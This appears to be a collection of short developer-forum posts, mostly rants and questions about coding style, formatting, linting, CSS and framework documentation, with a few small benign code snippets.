I'm working with this stupid ass framework that has a bunch of old style React class nonsense as examples (that's not actually that bad, but) ... AND worst of all every code example revolves around this convoluted thing where:
"How you do a thing."
"Make button, then you make a function that calls X, Y, Z and it opens the thing!"
But that's not the way you'd EVER do it because doing the thing inside the framework's components is COMPLETELY DIFFERENT!
I get wanting to dumb down documentation but this is dumbed down to pointlessness! -
M dream project would be an AI that codes with me. I would train it to write clean and nice code.
Because I don't want to stop coding. And an AI that fully developes on its own is meh.
Finally no annoying lazy students anymore which refuse to follow fucking style guides1 -
I genuinely want tp know why few devs don't add the opening brace on the same line as method/class declaration ??
Whenever I find a piece of code which follow such style a part of me cries thinking of the time I'll be spending first correcting...14 -
So Sonar (Java code style checker) is telling me to return immediately instead of first assigning the results to a variable:
ArrayList<string> strings = ...
{Some long running logic that populates the list}
String x = String.join(strings);
return x;
Declaring x is bad apparently... but I disagree...
Am I not understanding something here?
The upside out this is you can breakpoint it and well you meet want to add additional logic later while you find a bug while debugging...
I guess it would be noticeably slower but a few seconds... If I were to call it 1 billion times?14 -
Hit into NullPointerException on production then I saw this in the source code,
entity.getKey().getValue().contains("a string"):2 -
!!rant
Why the fuck would you bother creating a style guide if you don't adhere to it even a bit in creating mockups?!
Sure as hell I can code what you want, but you gotta stick to the agreed guidelines, dude! We can't keep adding *slightly different* elements, it'll lose its purpose! -
Don't fall into frivolous arguments about tabs/spaces or brace style. It doesn't matter. But please make sure your code is at least formatted in a *consistent* manner - everyone else that reads your code will thank you.1
-
Is there a common style name/popular origin for the style of whitespace in code where you put spaces inside parentheses but not after keywords in control statements, or after function names? (See img)
This is my preferred whitespace method (in most languages), but I don't know where I adopted it from, if anywhere... ;P16 -
I see a lot of articles/posts about the difficult of CSS.
Finding it hard to maintain, or resulting in spaghetti code.
Is this a common occurrence?
Whilst I've come across it in a few projects before, I wouldn't say it's a regular.
Now a lot of our sites are built on CMS' (Umbraco), but here's my approach.
I'll style the generic elements first across all pages
User generated content is usually in its own CSS class (for nested targeting, e.g. ul/ol tags)
Then I'll give each Document Type (post type/page type) it's own body class and apply specific styling to that page where needed.
Hopefully that's of help to some of you. I'm interested to hear your approaches to it! :)5 -
I looked at a PR for some work a dev agency is doing for us. For some reason, the dev directly modified css rules instead of making updates to the SCSS files and running the compiler. WTF. I asked why and isn’t the compiler working. Just got an answer saying that was his mistake. That’s not a mistake, but that’s idiocy I’m sorry. Dev agency is supposed to be doing code reviews too, but I’m pretty sure they would have merged that. We have another repo where the same thing happened—only it was dozens of lines of code instead of one or two. Luckily that repo doesn’t get many new feature requests, but I do have to selectively pick lines to commit whenever I make style updates. It’s a nightmare. I know it must be hard to jump into a code base you’re not familiar with and there might not be dev docs, but for the love of god don’t make maintainability a nightmare. I shouldn’t have to be a babysitter. Bet they’re regretting that added me as a reviewer for the PR.7
-
Today it took me *five* commits and nearly 2 hours to tidy up a module before doing a tiny 5-minute change.
I could have just done my change but that thing was so messy, I first had to straighten things up.
It's not that I didn't expect that, the module was mainly done by my dearest co-worker who's code usually causes me anaphylactic shocks.
But I'm always amazed how hard it can be to follow a style guide, and ours is really small anyway.2 -
Immediately after the last major release, I enabled CheckStyle to fail on unused methods and variables, and then I proceeded to delete all dead code. The test suite passed and I got approval to merge. Two months later, the next major release went out the door…guess how that went :)
Using TDD or at the very least writing unit tests ensures your code won’t break, or go missing!1 -
What's the general Software Engineering rule of thumb again for frontend templating code?
If I look at certain websites, I notice some code smells in PHP such as:
$.modal = <?php echo $(base)["username"] != 'me' ?' ': echo 'style="display=none"' ?>
or just in general places in the code where PHP gets used as a templating engine for gluing together pieces of HTML code based on conditionals spread out over the codebase and the database itself too. To make things worse, this carries over to JavaScript ajax functions. As a developer, this to me just seems like spaghetticode.
On the other hand, many popular frameworks properly do templating, such as EJS, containing templating in one place and not mixing it with logic too much but just having simple output like <%= %>.
I know I've seen frameworks like Angular 1 contain pieces of HTML into directives, but maybe that's something different, more 'OO'-simulating or cleaner.3 -
I DESPISE languages that enforce a style on you because "muh community code consistency". Like ok, I understand it, but if it gets to a point where I cannot configure *MY* IDE to format *MY* code the way I want I'm gonna get pissed at you. Why does it matter to you if my project uses 2 or 4 spaces? At least give me the option to disable your fucking formatter and use my IDE's default one.
Fuck you Dart.10 -
Fuck you, BouncyCastle. I really like you but the way you have documentation. It's annoying. Nice name. Cool project.
Here, I'm write Java Docs for JUnit tests! For every damn test case!
So damn less documentation even SO said mind your own business! It's been more than 15 hrs. Not a single reply! I died a little today. They have examples but they are not really "examples". No passion at all for documentation!
You should watch and learn from AssertJ docs. OMFG @joel-costoglia sets standards for code style and docs before pull requests. The examples are LOTR themed for god's sake. I'm not asking for fluent API. I just want docs. What class does what. A simple program structure required.
Dyn4j, deeplearning4J have wonderful docs. Why not BouncyCastle?!!!!! -
!rant
Feature request: could we use the volume buttons for scrolling? 9gag app style? Personally, I love lying down and just using the buttons to scroll down to eternity. I'm willing to code it myself, for Android. @dfox2 -
I spent two hours to come up with an algorithm to detect a win and also one to derive the winning indices on any tic tac toe board as long as the size is provided
but i have spent more than twice that same amount of time trying to style component with the shiny toys provided my material ui.
I really just wanted to write less code, but now I have a headache
with my code looking like the death, thanks to the over engineered components provided by material ui
there has to be a way to manage medium to large react codebase
I've googled but everything I see is beginner level stuff, any tips will be appreciated at this moment5 -
À test Class can not have any private method.
That's a coding guide line. And if I ask why, the answer is... wait for it..... BECAUSE X and Y DECIDED THIS WITH Z LONG AGO...
Agggghhhhhhhh.... -
I need help structuring a new TypeScript project built on a MERN stack. I used CRA for the client, so I opted to have separate tsconfig files -- one for client (auto-generated by CRA) and one for server (extends node12 tsconfig). However, I'm trying to setup eslint and prettier globally so that the lint/style rules are uniform across the codebase. CRA adds an eslint config that extends react-app, which is fine, but I'd like to still have my global rules. I have written my eslintrc.json file and am happy with it, so I placed it in the project root directory. I figured I would install eslint, prettier, etc. in the project root, then when I run eslint globally, it would lint the server code with the global rules and the client code with the global rules and the react-scripts rules.
However, react-scripts complains that I've installed a newer version of eslint in a parent directory. I can either ignore that rule or use the same version as react-scripts, but it seems like react-scripts is going to run eslint on its own when I run npm start, regardless of if I have a global config. What should I do? Is there a better way to structure the app?1 -
Depends on what style means...
How I format the code: language, team/style-check rules, IDE auto format settings
How I structure my code and design programs: experience... Mainly from blowing stuff up, having to rewrite monolith code, trying to understand other people's shitty code and why they can't seem to organize it better so you don't need to be a surgeon or God to even attempt to figure out wtf it's doing and how it works... Or supposed to work. -
In comes the new developer messing the repository with unreadable two space indentation in our backend codebase. I can understand it being useful to keep code within the horizontal editor "viewport" for stuff like JSX, but otherwise it's really fucking ugly and feels like the code is not indented at all
We're not using any tools for automatically standardizing code style yet, what do you recommend? If it's at all relevant, our codebase is in TypeScript.5 -
I improved a lot as a dev when I looked at code I'd written and compiled. You can learn a lot from looking hiw your habits and style affect the overall program.
-
I want some help with media queries I am new and learning so please don't bash me up :
Here is my css code I want to know how to solve the issue :
/* About Section */
.about
{
height:600px;
padding:50px;
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
}
.abouttext
{
position: relative;
padding: 0 50px;
height: inherit;
}
.abouttext h1
{
position: relative;
left: 230px;
}
.abouttext img{
width:20vw;
position: absolute;
top:50px;
}
.aboutlist
{
width:50%;
}
ol
{
list-style: none;
color: #e0501b;
}
ol li
{
font-size: 34px;
position: relative;
margin-bottom: 20px;
}
li p
{
font-size:16px;
color:#000;
padding-left:60px;
line-height:30px;
opacity:0.6;
}
li span
{
float: right;
position: absolute;
line-height: 25px;
font-weight: 600;
}4 -
For most part, after realising I have freedom of implementing and structure my codebase. I have followed only this rule whenever I stumbled into new way of code format/implimentation techniques.
- Understand the structure
- Check if it's new/upcoming way people started coding
- decide should I use it just yet
- implement according.
Adding factors such as time and prefered language, it turns out to be your own personal style.
PS: yes you do follow community conversion but, there's some part of it that makes it unique to you. -
So, some data need to be prepared during the summer and the diverse departments' elected data processors got shared in a Google spreadsheet they will need to fill with some basic data IT needs. Simple, straightforward data entry, with nothing private nor confidential. Just another divide-and-conquer-style large amount of data to enter & organise, that's all.
Today, I received a new comment notification as the owner of the spreadsheet. You can imagine my surprise when I saw that, for some f*cked up reasons, one of the guys just wrote the super-admin username & pw for one of the main data systems we use in a freaking comment in the spreadsheet... WTF...
Oh, and also, juuust in case, he also wrote the pin code that is normally required to pass through the device-check when you log-in as a super-admin from an unknown device and/or location.
Fortunately I could catch it on time, but this just ruined half of my day.
I am supposedly on freaking annual leave. Ha Ha. Ha. -
I can't count likes form my database for an specific post. I made a function that will count all the like by "post.id". It shows the like on the web page when I clicked on like button and it disappears when I refresh the browser. but likes are still remaining in the database but it won't appear on the webpage.
Here are the flask code:
def like_count(post_id):
if request.form.get('like') != None:
if (Like.query.filter_by(post_id=post_id).all())==[]:
return 0
else:
return Like.query.filter_by(post_id=post_id).count()
else:
return 0
def dislike_count(post_id):
if request.form.get('dislike') != None:
if (Dislike.query.filter_by(post_id=post_id).all())==[]:
return 0
else:
return Dislike.query.filter_by(post_id=post_id).count()
else:
return 0
Here are the html code:
<!--dislike-->
<form method="POST" action="">
<input name="dislike" value="1" class="input-style" >
<input value="{{post.id}}" name="post_id" class="input-style">
<button class="fas fa-thumbs-down" class="like-button" >
<div class="like-count" >
{{dislike_count(post.id)}}
</div>
</button>
</form>
<!--like-->
<form method="POST" action="" >
<input name="like" value="1" class="input-style" >
<input name="post_id" value="{{post.id}}" class="input-style" >
<button class="fas fa-thumbs-up" class="like-button" >
<div class="like-count" >
{{like_count(post.id)}}
</div>
</button>
</form>8 -
So I was building opencv some time back.
Nice enough package, like most python linked packages I'm finding though I know you can use it via c and its meant to be but why would you want to ? .. it contains a whole bunch of half finished crap that is actually useful in part including the capacity to tear apart video files and manipulate frames one at a time and then rewrite them back to a file. about the only lib that's easy to use that I saw that does that. hell I can even compose my own video frames. also the only other lib I saw that does that thus far.
so...
I post a bug, because of FUCKING CMAKE NOT WORKING. not conforming with the well thought out build environment that most GNU style c packages use.
you know like when you need an upstream source package to build the code, or a downgraded package to build the code and don't want to fuck up your host environment so you have to specify a bunch of lib paths and the like so that ld and gcc work correctly etc etc etc from your custom build location and so you can later use these same values to find the compiled lib and build software against it.
fucker closes my ticket saying i hijacked the c environment................
no.
its because cmake sucks.
they're using and i don't know why a module specifically written to find libtiff.
specifically written but doesn't find the only source on my system that provides tiff which my env variables point directly to !!!!
lazy fucking cocksuckers !
I want to code a solution this issue.
something that translates ac files and am files and cmakelists into something intelligent and easy to follow that doesn't sacrifice the flexibility of make and gnu shit and unfucks cmake based projects !7 -
My coding style is mostly influenced by good old personal preference, but also because of a certain internship where there was a lot of gain to be had by making everything as reusable and testable as possible.
I guess you could say my motto is usability, readability and flexibility:
I like tidy, reusable code with an emphasis on keeping code readable. I've always liked modular things I guess...
And I despise two things: curly brackets on the next line and spaces for indentation... But way worse is having no brackets at all (looking at you Python): it's clearer to have lower-level code inside some sort of "container" markers i.e. brackets (also gives more IDE functionality like color-coding hierarchically).
Indentation should always be tabs so anyone can have their own width of indentation set through their IDE, making it way more accessible to fellow colleagues!
And I also like having parameterized code over hard-coded functions: way more flexible. -
Looking for android dev who could mentor me with more advanced android dev topics (architecture, unit tests, code style and etc.) I am a self tought intermediate dev with 2 years experience (worked in 3 startups). I need help with questions/ocasional code reviews.2
-
That feeling you get when starting a new scala project. Fresh start! Lessons I have learned:
1) Add a linting tool before the code gets inconsistent to the point where it has thousands of style errors.
2) use test driven development from the start so that refactoring later is a breeze.
3) Write top down, no matter how much I want to implement the algorithms first.
4) write the tests first! -
You have coworkers who talk to code everyday. There are times you are looking at code that you just want to scream at... but it's not your style.
-
I need recommendation for site/community to improve my (clean) code style?
And, in more general, what are your ways to improve code style and programming way of thinking - more oriented towards bigger picture of application/systems (patterns, architecture, etc.)?3 -
I didn't know that "Ctrl + Alt + L" can be runned over whole project, selecting main dir in PhpStorm. Goodbye fucking WordPress code style in templates etc. 😊
-
We all know that writing your own css is easy.
Then we just try to pick up other's code and continue with their style...
It's taking so much time, I guess it's about collaboration now not only trying to figure it out alone ..